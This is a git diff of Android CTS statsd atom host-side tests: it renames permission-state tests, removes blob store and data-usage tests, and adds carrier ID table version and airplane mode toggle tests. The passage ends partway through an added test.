@@ -0,0 +1,189 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.permissionstate;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class DangerousPermissionStateTests extends DeviceTestCase implements IBuildReceiver {
+ private static final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED = 1 << 8;
+
+ private IBuildInfo mCtsBuild;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ assertThat(mCtsBuild).isNotNull();
+ ConfigUtils.removeConfig(getDevice());
+ ReportUtils.clearReports(getDevice());
+ DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+ Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ ConfigUtils.removeConfig(getDevice());
+ ReportUtils.clearReports(getDevice());
+ DeviceUtils.uninstallStatsdTestApp(getDevice());
+ super.tearDown();
+ }
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuild = buildInfo;
+ }
+
+ public void testDangerousPermissionState() throws Exception {
+
+ final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED = 1 << 9;
+ final int PROTECTION_FLAG_DANGEROUS = 1;
+ final int PROTECTION_FLAG_INSTANT = 0x1000;
+
+ // Set up what to collect
+ ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+ AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER);
+
+ boolean verifiedKnowPermissionState = false;
+
+ // Pull a report
+ AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+ Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+ int testAppId = getAppId(DeviceUtils.getStatsdTestAppUid(getDevice()));
+
+ for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+ AtomsProto.DangerousPermissionState permissionState = atom.getDangerousPermissionState();
+
+ assertThat(permissionState.getPermissionName()).isNotNull();
+ assertThat(permissionState.getUid()).isAtLeast(0);
+ assertThat(permissionState.getPackageName()).isNotNull();
+
+ if (getAppId(permissionState.getUid()) == testAppId) {
+
+ if (permissionState.getPermissionName().contains(
+ "ACCESS_FINE_LOCATION")) {
+ assertThat(permissionState.getIsGranted()).isTrue();
+ assertThat(permissionState.getPermissionFlags() & ~(
+ FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED
+ | FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED))
+ .isEqualTo(0);
+ assertThat(permissionState.getProtectionFlags()).isEqualTo(
+ PROTECTION_FLAG_DANGEROUS | PROTECTION_FLAG_INSTANT
+ );
+
+ verifiedKnowPermissionState = true;
+ }
+ }
+ }
+
+ assertThat(verifiedKnowPermissionState).isTrue();
+ }
+
+ public void testDangerousPermissionStateSampled() throws Exception {
+ // get full atom for reference
+ ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+ AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER);
+
+ AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+ Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+ List<AtomsProto.DangerousPermissionState> fullDangerousPermissionState = new ArrayList<>();
+ for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+ fullDangerousPermissionState.add(atom.getDangerousPermissionState());
+ }
+
+ ConfigUtils.removeConfig(getDevice());
+ ReportUtils.clearReports(getDevice()); // Clears data.
+ List<AtomsProto.Atom> gaugeMetricDataList = null;
+
+ // retries in case sampling returns full list or empty list - which should be extremely rare
+ for (int attempt = 0; attempt < 10; attempt++) {
+ // Set up what to collect
+ ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+ AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_SAMPLED_FIELD_NUMBER);
+
+ // Pull a report
+ AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+ Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+ gaugeMetricDataList = ReportUtils.getGaugeMetricAtoms(getDevice());
+ if (gaugeMetricDataList.size() > 0
+ && gaugeMetricDataList.size() < fullDangerousPermissionState.size()) {
+ break;
+ }
+ ConfigUtils.removeConfig(getDevice());
+ ReportUtils.clearReports(getDevice()); // Clears data.
+ }
+ assertThat(gaugeMetricDataList.size()).isGreaterThan(0);
+ assertThat(gaugeMetricDataList.size()).isLessThan(fullDangerousPermissionState.size());
+
+ long lastUid = -1;
+ int fullIndex = 0;
+
+ for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+ AtomsProto.DangerousPermissionStateSampled permissionState =
+ atom.getDangerousPermissionStateSampled();
+
+ AtomsProto.DangerousPermissionState referenceState
+ = fullDangerousPermissionState.get(fullIndex);
+
+ if (referenceState.getUid() != permissionState.getUid()) {
+ // atoms are sampled on uid basis if uid is present, all related permissions must
+ // be logged.
+ assertThat(permissionState.getUid()).isNotEqualTo(lastUid);
+ continue;
+ }
+
+ lastUid = permissionState.getUid();
+
+ assertThat(permissionState.getPermissionFlags()).isEqualTo(
+ referenceState.getPermissionFlags());
+ assertThat(permissionState.getIsGranted()).isEqualTo(referenceState.getIsGranted());
+ assertThat(permissionState.getPermissionName()).isEqualTo(
+ referenceState.getPermissionName());
+ assertThat(permissionState.getProtectionFlags()).isEqualTo(
+ referenceState.getProtectionFlags());
+
+ fullIndex++;
+ }
+ }
+
+ /**
+ * The app id from a uid.
+ *
+ * @param uid The uid of the app
+ *
+ * @return The app id of the app
+ *
+ * @see android.os.UserHandle#getAppId
+ */
+ private static int getAppId(int uid) {
+ return uid % 100000;
+ }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/PermissionStateTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/PermissionStateTests.java
deleted file mode 100644
index 7ea6971..0000000
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/PermissionStateTests.java
+++ /dev/null
@@ -1,182 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.statsdatom.permissionstate;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsdatom.lib.AtomTestUtils;
-import android.cts.statsdatom.lib.ConfigUtils;
-import android.cts.statsdatom.lib.DeviceUtils;
-import android.cts.statsdatom.lib.ReportUtils;
-
-import com.android.os.AtomsProto;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class PermissionStateTests extends DeviceTestCase implements IBuildReceiver {
- private static final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED = 1 << 8;
-
- private IBuildInfo mCtsBuild;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- assertThat(mCtsBuild).isNotNull();
- ConfigUtils.removeConfig(getDevice());
- ReportUtils.clearReports(getDevice());
- DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
- Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
- }
-
- @Override
- protected void tearDown() throws Exception {
- ConfigUtils.removeConfig(getDevice());
- ReportUtils.clearReports(getDevice());
- DeviceUtils.uninstallStatsdTestApp(getDevice());
- super.tearDown();
- }
-
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
-
- public void testDangerousPermissionState() throws Exception {
-
- final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED = 1 << 9;
-
- // Set up what to collect
- ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
- AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER);
-
- boolean verifiedKnowPermissionState = false;
-
- // Pull a report
- AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
- Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
-
- int testAppId = getAppId(DeviceUtils.getStatsdTestAppUid(getDevice()));
-
- for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
- AtomsProto.DangerousPermissionState permissionState = atom.getDangerousPermissionState();
-
- assertThat(permissionState.getPermissionName()).isNotNull();
- assertThat(permissionState.getUid()).isAtLeast(0);
- assertThat(permissionState.getPackageName()).isNotNull();
-
- if (getAppId(permissionState.getUid()) == testAppId) {
-
- if (permissionState.getPermissionName().contains(
- "ACCESS_FINE_LOCATION")) {
- assertThat(permissionState.getIsGranted()).isTrue();
- assertThat(permissionState.getPermissionFlags() & ~(
- FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED
- | FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED))
- .isEqualTo(0);
-
- verifiedKnowPermissionState = true;
- }
- }
- }
-
- assertThat(verifiedKnowPermissionState).isTrue();
- }
-
- public void testDangerousPermissionStateSampled() throws Exception {
- // get full atom for reference
- ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
- AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER);
-
- AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
- Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
-
- List<AtomsProto.DangerousPermissionState> fullDangerousPermissionState = new ArrayList<>();
- for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
- fullDangerousPermissionState.add(atom.getDangerousPermissionState());
- }
-
- ConfigUtils.removeConfig(getDevice());
- ReportUtils.clearReports(getDevice()); // Clears data.
- List<AtomsProto.Atom> gaugeMetricDataList = null;
-
- // retries in case sampling returns full list or empty list - which should be extremely rare
- for (int attempt = 0; attempt < 10; attempt++) {
- // Set up what to collect
- ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
- AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_SAMPLED_FIELD_NUMBER);
-
- // Pull a report
- AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
- Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
-
- gaugeMetricDataList = ReportUtils.getGaugeMetricAtoms(getDevice());
- if (gaugeMetricDataList.size() > 0
- && gaugeMetricDataList.size() < fullDangerousPermissionState.size()) {
- break;
- }
- ConfigUtils.removeConfig(getDevice());
- ReportUtils.clearReports(getDevice()); // Clears data.
- }
- assertThat(gaugeMetricDataList.size()).isGreaterThan(0);
- assertThat(gaugeMetricDataList.size()).isLessThan(fullDangerousPermissionState.size());
-
- long lastUid = -1;
- int fullIndex = 0;
-
- for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
- AtomsProto.DangerousPermissionStateSampled permissionState =
- atom.getDangerousPermissionStateSampled();
-
- AtomsProto.DangerousPermissionState referenceState
- = fullDangerousPermissionState.get(fullIndex);
-
- if (referenceState.getUid() != permissionState.getUid()) {
- // atoms are sampled on uid basis if uid is present, all related permissions must
- // be logged.
- assertThat(permissionState.getUid()).isNotEqualTo(lastUid);
- continue;
- }
-
- lastUid = permissionState.getUid();
-
- assertThat(permissionState.getPermissionFlags()).isEqualTo(
- referenceState.getPermissionFlags());
- assertThat(permissionState.getIsGranted()).isEqualTo(referenceState.getIsGranted());
- assertThat(permissionState.getPermissionName()).isEqualTo(
- referenceState.getPermissionName());
-
- fullIndex++;
- }
- }
-
- /**
- * The app id from a uid.
- *
- * @param uid The uid of the app
- *
- * @return The app id of the app
- *
- * @see android.os.UserHandle#getAppId
- */
- private static int getAppId(int uid) {
- return uid % 100000;
- }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/SettingsStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/SettingsStatsTests.java
index 9b15b89..6174400 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/SettingsStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/SettingsStatsTests.java
@@ -100,7 +100,7 @@
// Test the size of atoms. It should contain 5 atoms.
List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
- assertThat(atoms.size()).isEqualTo(5);
+ assertThat(atoms.size()).isAtLeast(5);
AtomsProto.SettingSnapshot snapshot = null;
for (AtomsProto.Atom atom : atoms) {
AtomsProto.SettingSnapshot settingSnapshot = atom.getSettingSnapshot();
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
index 85de6dd..fdf6f56 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
@@ -36,9 +36,6 @@
import com.android.os.AtomsProto.Atom;
import com.android.os.AtomsProto.AttributionNode;
import com.android.os.AtomsProto.AudioStateChanged;
-import com.android.os.AtomsProto.BlobCommitted;
-import com.android.os.AtomsProto.BlobLeased;
-import com.android.os.AtomsProto.BlobOpened;
import com.android.os.AtomsProto.CameraStateChanged;
import com.android.os.AtomsProto.DeviceCalculatedPowerBlameUid;
import com.android.os.AtomsProto.FlashlightStateChanged;
@@ -786,255 +783,6 @@
assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.OFF_VALUE);
assertThat(atom.getBytesField().getExperimentIdList()).isEmpty();
}
-/*
- public void testMobileBytesTransfer() throws Throwable {
- final int appUid = getUid();
-
- // Verify MobileBytesTransfer, passing a ThrowingPredicate that verifies contents of
- // corresponding atom type to prevent code duplication. The passed predicate returns
- // true if the atom of appUid is found, false otherwise, and throws an exception if
- // contents are not expected.
- doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_FIELD_NUMBER, (atom) -> {
- final AtomsProto.MobileBytesTransfer data = ((Atom) atom).getMobileBytesTransfer();
- if (data.getUid() == appUid) {
- assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
- data.getRxPackets(), data.getTxPackets());
- return true; // found
- }
- return false;
- });
- }
-*/
-/*
- public void testMobileBytesTransferByFgBg() throws Throwable {
- final int appUid = getUid();
-
- doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_BY_FG_BG_FIELD_NUMBER, (atom) -> {
- final AtomsProto.MobileBytesTransferByFgBg data =
- ((Atom) atom).getMobileBytesTransferByFgBg();
- if (data.getUid() == appUid && data.getIsForeground()) {
- assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
- data.getRxPackets(), data.getTxPackets());
- return true; // found
- }
- return false;
- });
- }
-
- private void assertSubscriptionInfo(AtomsProto.DataUsageBytesTransfer data) {
- assertThat(data.getSimMcc()).matches("^\\d{3}$");
- assertThat(data.getSimMnc()).matches("^\\d{2,3}$");
- assertThat(data.getCarrierId()).isNotEqualTo(-1); // TelephonyManager#UNKNOWN_CARRIER_ID
- }
-
- private void doTestDataUsageBytesTransferEnabled(boolean enable) throws Throwable {
- // Set value to enable/disable combine subtype.
- setNetworkStatsCombinedSubTypeEnabled(enable);
-
- doTestMobileBytesTransferThat(Atom.DATA_USAGE_BYTES_TRANSFER_FIELD_NUMBER, (atom) -> {
- final AtomsProto.DataUsageBytesTransfer data =
- ((Atom) atom).getDataUsageBytesTransfer();
- final boolean ratTypeEqualsToUnknown =
- (data.getRatType() == NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
- final boolean ratTypeGreaterThanUnknown =
- (data.getRatType() > NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
-
- if ((data.getState() == 1) // NetworkStats.SET_FOREGROUND
- && ((enable && ratTypeEqualsToUnknown)
- || (!enable && ratTypeGreaterThanUnknown))) {
- assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
- data.getRxPackets(), data.getTxPackets());
- // Assert that subscription info is valid.
- assertSubscriptionInfo(data);
-
- return true; // found
- }
- return false;
- });
- }
-
- public void testDataUsageBytesTransfer() throws Throwable {
- final boolean oldSubtypeCombined = getNetworkStatsCombinedSubTypeEnabled();
-
- doTestDataUsageBytesTransferEnabled(true);
-
- // Remove config from memory and disk to clear the history.
- removeConfig(CONFIG_ID);
- getReportList(); // Clears data.
-
- doTestDataUsageBytesTransferEnabled(false);
-
- // Restore to original default value.
- setNetworkStatsCombinedSubTypeEnabled(oldSubtypeCombined);
- }
- // TODO(b/157651730): Determine how to test tag and metered state within atom.
- public void testBytesTransferByTagAndMetered() throws Throwable {
- final int appUid = getUid();
- final int atomId = Atom.BYTES_TRANSFER_BY_TAG_AND_METERED_FIELD_NUMBER;
-
- doTestMobileBytesTransferThat(atomId, (atom) -> {
- final AtomsProto.BytesTransferByTagAndMetered data =
- ((Atom) atom).getBytesTransferByTagAndMetered();
- if (data.getUid() == appUid && data.getTag() == 0) { // app traffic generated on tag 0
- assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
- data.getRxPackets(), data.getTxPackets());
- return true; // found
- }
- return false;
- });
- }
-*/
- public void testPushedBlobStoreStats() throws Exception {
- StatsdConfig.Builder conf = ConfigUtils.createConfigBuilder(
- DeviceUtils.STATSD_ATOM_TEST_PKG);
- ConfigUtils.addEventMetricForUidAtom(conf,
- Atom.BLOB_COMMITTED_FIELD_NUMBER, /*useUidAttributionChain=*/false,
- DeviceUtils.STATSD_ATOM_TEST_PKG);
- ConfigUtils.addEventMetricForUidAtom(conf,
- Atom.BLOB_LEASED_FIELD_NUMBER, /*useUidAttributionChain=*/false,
- DeviceUtils.STATSD_ATOM_TEST_PKG);
- ConfigUtils.addEventMetricForUidAtom(conf,
- Atom.BLOB_OPENED_FIELD_NUMBER, /*useUidAttributionChain=*/false,
- DeviceUtils.STATSD_ATOM_TEST_PKG);
- ConfigUtils.uploadConfig(getDevice(), conf);
-
- DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testBlobStore");
-
- List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
- assertThat(data).hasSize(3);
-
- BlobCommitted blobCommitted = data.get(0).getAtom().getBlobCommitted();
- final long blobId = blobCommitted.getBlobId();
- final long blobSize = blobCommitted.getSize();
- assertThat(blobCommitted.getUid()).isEqualTo(DeviceUtils.getStatsdTestAppUid(getDevice()));
- assertThat(blobId).isNotEqualTo(0);
- assertThat(blobSize).isNotEqualTo(0);
- assertThat(blobCommitted.getResult()).isEqualTo(BlobCommitted.Result.SUCCESS);
-
- BlobLeased blobLeased = data.get(1).getAtom().getBlobLeased();
- assertThat(blobLeased.getUid()).isEqualTo(DeviceUtils.getStatsdTestAppUid(getDevice()));
- assertThat(blobLeased.getBlobId()).isEqualTo(blobId);
- assertThat(blobLeased.getSize()).isEqualTo(blobSize);
- assertThat(blobLeased.getResult()).isEqualTo(BlobLeased.Result.SUCCESS);
-
- BlobOpened blobOpened = data.get(2).getAtom().getBlobOpened();
- assertThat(blobOpened.getUid()).isEqualTo(DeviceUtils.getStatsdTestAppUid(getDevice()));
- assertThat(blobOpened.getBlobId()).isEqualTo(blobId);
- assertThat(blobOpened.getSize()).isEqualTo(blobSize);
- assertThat(blobOpened.getResult()).isEqualTo(BlobOpened.Result.SUCCESS);
- }
-
- // Constants that match the constants for AtomTests#testBlobStore
- private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
- private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
- private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
- private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
-
- public void testPulledBlobStoreStats() throws Exception {
- ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
- Atom.BLOB_INFO_FIELD_NUMBER);
-
- final long testStartTimeMs = getDeviceTimeMs();
- Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
- DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testBlobStore");
- Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
- AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
- Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
-
- // Add commit callback time to test end time to account for async execution
- final long testEndTimeMs =
- getDeviceTimeMs() + BLOB_COMMIT_CALLBACK_TIMEOUT_SEC * 1000;
-
- // Find the BlobInfo for the blob created in the test run
- AtomsProto.BlobInfo blobInfo = null;
- for (Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
- if (atom.hasBlobInfo()) {
- final AtomsProto.BlobInfo temp = atom.getBlobInfo();
- if (temp.getCommitters().getCommitter(0).getUid()
- == DeviceUtils.getStatsdTestAppUid(getDevice())) {
- blobInfo = temp;
- break;
- }
- }
- }
- assertThat(blobInfo).isNotNull();
-
- assertThat(blobInfo.getSize()).isEqualTo(BLOB_FILE_SIZE_BYTES);
-
- // Check that expiry time is reasonable
- assertThat(blobInfo.getExpiryTimestampMillis()).isGreaterThan(
- testStartTimeMs + BLOB_EXPIRY_DURATION_MS);
- assertThat(blobInfo.getExpiryTimestampMillis()).isLessThan(
- testEndTimeMs + BLOB_EXPIRY_DURATION_MS);
-
- // Check that commit time is reasonable
- final long commitTimeMs = blobInfo.getCommitters().getCommitter(
- 0).getCommitTimestampMillis();
- assertThat(commitTimeMs).isGreaterThan(testStartTimeMs);
- assertThat(commitTimeMs).isLessThan(testEndTimeMs);
-
- // Check that WHITELIST and PRIVATE access mode flags are set
- assertThat(blobInfo.getCommitters().getCommitter(0).getAccessMode()).isEqualTo(0b1001);
- assertThat(blobInfo.getCommitters().getCommitter(0).getNumWhitelistedPackage()).isEqualTo(
- 1);
-
- assertThat(blobInfo.getLeasees().getLeaseeCount()).isGreaterThan(0);
- assertThat(blobInfo.getLeasees().getLeasee(0).getUid()).isEqualTo(
- DeviceUtils.getStatsdTestAppUid(getDevice()));
-
- // Check that lease expiry time is reasonable
- final long leaseExpiryMs = blobInfo.getLeasees().getLeasee(
- 0).getLeaseExpiryTimestampMillis();
- assertThat(leaseExpiryMs).isGreaterThan(testStartTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
- assertThat(leaseExpiryMs).isLessThan(testEndTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
- }
-
- private void assertDataUsageAtomDataExpected(long rxb, long txb, long rxp, long txp) {
- assertThat(rxb).isGreaterThan(0L);
- assertThat(txb).isGreaterThan(0L);
- assertThat(rxp).isGreaterThan(0L);
- assertThat(txp).isGreaterThan(0L);
- }
-
-// private void doTestMobileBytesTransferThat(int atomTag, ThrowingPredicate p)
-// throws Throwable {
-// if (!hasFeature(FEATURE_TELEPHONY, true)) return;
-//
-// // Get MobileBytesTransfer as a simple gauge metric.
-// final StatsdConfig.Builder config = getPulledConfig();
-// addGaugeAtomWithDimensions(config, atomTag, null);
-// uploadConfig(config);
-// Thread.sleep(WAIT_TIME_SHORT);
-//
-// // Generate some traffic on mobile network.
-// runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testGenerateMobileTraffic");
-// Thread.sleep(WAIT_TIME_SHORT);
-//
-// // Force polling NetworkStatsService to get most updated network stats from lower layer.
-// runActivity("StatsdCtsForegroundActivity", "action", "action.poll_network_stats");
-// Thread.sleep(WAIT_TIME_SHORT);
-//
-// // Pull a report
-// setAppBreadcrumbPredicate();
-// Thread.sleep(WAIT_TIME_SHORT);
-//
-// final List<Atom> atoms = getGaugeMetricDataList(/*checkTimestampTruncated=*/true);
-// assertThat(atoms.size()).isAtLeast(1);
-//
-// boolean foundAppStats = false;
-// for (final Atom atom : atoms) {
-// if (p.accept(atom)) {
-// foundAppStats = true;
-// }
-// }
-// assertWithMessage("uid " + getUid() + " is not found in " + atoms.size() + " atoms")
-// .that(foundAppStats).isTrue();
-// }
-
- @FunctionalInterface
- private interface ThrowingPredicate<S, T extends Throwable> {
- boolean accept(S s) throws T;
- }
public void testAppForegroundBackground() throws Exception {
Set<Integer> onStates = new HashSet<>(Arrays.asList(
@@ -1107,9 +855,4 @@
private void setScreenBrightness(int brightness) throws Exception {
getDevice().executeShellCommand("settings put system screen_brightness " + brightness);
}
-
- private long getDeviceTimeMs() throws Exception {
- String timeMs = getDevice().executeShellCommand("date +%s%3N");
- return Long.parseLong(timeMs.trim());
- }
}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java
index 6b937de..8d18f0e 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java
@@ -25,6 +25,7 @@
import android.telephony.NetworkTypeEnum;
import com.android.os.AtomsProto;
+import com.android.os.StatsLog.EventMetricData;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.testtype.DeviceTestCase;
import com.android.tradefed.testtype.IBuildReceiver;
@@ -147,6 +148,113 @@
}
}
+ public void testCarrierIdTableVersion() throws Exception {
+ if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+ return;
+ }
+
+ int expectedVersion = getCarrierIdTableVersion();
+
+ ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+ AtomsProto.Atom.CARRIER_ID_TABLE_VERSION_FIELD_NUMBER);
+
+ AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+ Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+ List<AtomsProto.Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+ assertThat(data).isNotEmpty();
+ AtomsProto.CarrierIdTableVersion atom = data.get(0).getCarrierIdTableVersion();
+ assertThat(atom.getTableVersion()).isEqualTo(expectedVersion);
+ }
+
+ public void testAirplaneModeEvent_shortToggle() throws Exception {
+ if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+ return;
+ }
+
+ ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+ AtomsProto.Atom.AIRPLANE_MODE_FIELD_NUMBER);
+
+ turnOnAirplaneMode();
+ // wait long enough for airplane mode events to propagate, but less than threshold for
+ // long toggle.
+ Thread.sleep(1_200);
+ turnOffAirplaneMode();
+ // wait long enough for airplane mode events to propagate.
+ Thread.sleep(1_200);
+
+ // Verify that we have at least one atom for enablement and one for disablement.
+ List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+ AtomsProto.AirplaneMode airplaneModeEnabledAtom = null;
+ AtomsProto.AirplaneMode airplaneModeDisabledAtom = null;
+ for (EventMetricData d : data) {
+ AtomsProto.AirplaneMode atom = d.getAtom().getAirplaneMode();
+ if (atom.getIsEnabled() && airplaneModeEnabledAtom == null) {
+ airplaneModeEnabledAtom = atom;
+ }
+ if (!atom.getIsEnabled() && airplaneModeDisabledAtom == null) {
+ airplaneModeDisabledAtom = atom;
+ }
+ }
+ assertThat(airplaneModeEnabledAtom).isNotNull();
+ assertThat(airplaneModeDisabledAtom).isNotNull();
+ assertThat(airplaneModeDisabledAtom.getShortToggle()).isTrue();
+ }
+
+ public void testAirplaneModeEvent_longToggle() throws Exception {
+ if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+ return;
+ }
+
+ ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+ AtomsProto.Atom.AIRPLANE_MODE_FIELD_NUMBER);
+
+ turnOnAirplaneMode();
+ // wait long enough for long airplane mode toggle (10 seconds).
+ Thread.sleep(12_000);
+ turnOffAirplaneMode();
+ // wait long enough for airplane mode events to propagate.
+ Thread.sleep(1_200);
+
+ // Verify that we have at least one atom for enablement and one for disablement.
+ List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+ AtomsProto.AirplaneMode airplaneModeEnabledAtom = null;
